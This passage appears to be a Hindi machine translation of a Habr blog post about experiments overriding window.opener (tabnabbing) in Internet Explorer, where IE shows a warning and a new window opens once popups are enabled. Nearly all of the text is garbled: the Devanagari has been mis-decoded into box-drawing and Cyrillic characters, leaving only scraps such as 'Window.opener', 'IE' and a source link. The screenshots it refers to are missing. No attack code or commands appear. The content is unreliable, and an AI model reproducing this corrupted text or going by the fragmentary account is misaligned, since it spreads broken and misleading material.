рд╣рдо рд▓рд┐рдВрдХ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ wo рд╕рдлрд▓рддрд╛рдкреВрд░реНрд╡рдХ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:



Wo рдХреЛ рдУрд╡рд░рд░рд╛рдЗрдб рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢:



рдХреБрдЫ рднреА рдирд╣реАрдВ, рд╢реВрдиреНрдп рднрд╛рд╡рдирд╛рдПрдБред
рд▓реЗрдХрд┐рди рдЕрдЧрд░ рдЖрдк рдкрд┐рдЫрд▓рд╛ рдЯреИрдм рдЦреЛрд▓рддреЗ рд╣реИрдВ, рддреЛ:



рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ IE рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреЛрд▓рдиреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрди рдХреЛ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ рдФрд░ рдПрдХ рдЪреЗрддрд╛рд╡рдиреА рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред

рдФрд░ рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдпрд╣ рд╕рдм рдирд╣реАрдВ рд╣реИ!

рдкреЙрдкрдЕрдк рд╕рдХреНрд╖рдо рдХрд░реЗрдВ:



рдЖрдЗрдП рдлрд┐рд░ рд╕реЗ рд╕реНрдерд╛рди рдмрджрд▓рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ:



Window.opener рдХрд╛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗрд╡рд▓ рд╣реБрдЖ рдирд╣реАрдВ, рдмрд▓реНрдХрд┐ рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рдПрдХ рдирдИ рд╡рд┐рдВрдбреЛ рдЦреБрд▓реАред

UPD2 : Youtube рдиреЗ рд╡реАрдбрд┐рдпреЛ рдХреЛ рдмреНрд▓реЙрдХ рдХрд░ рджрд┐рдпрд╛

Source: https://habr.com/ru/post/In164539/


All Articles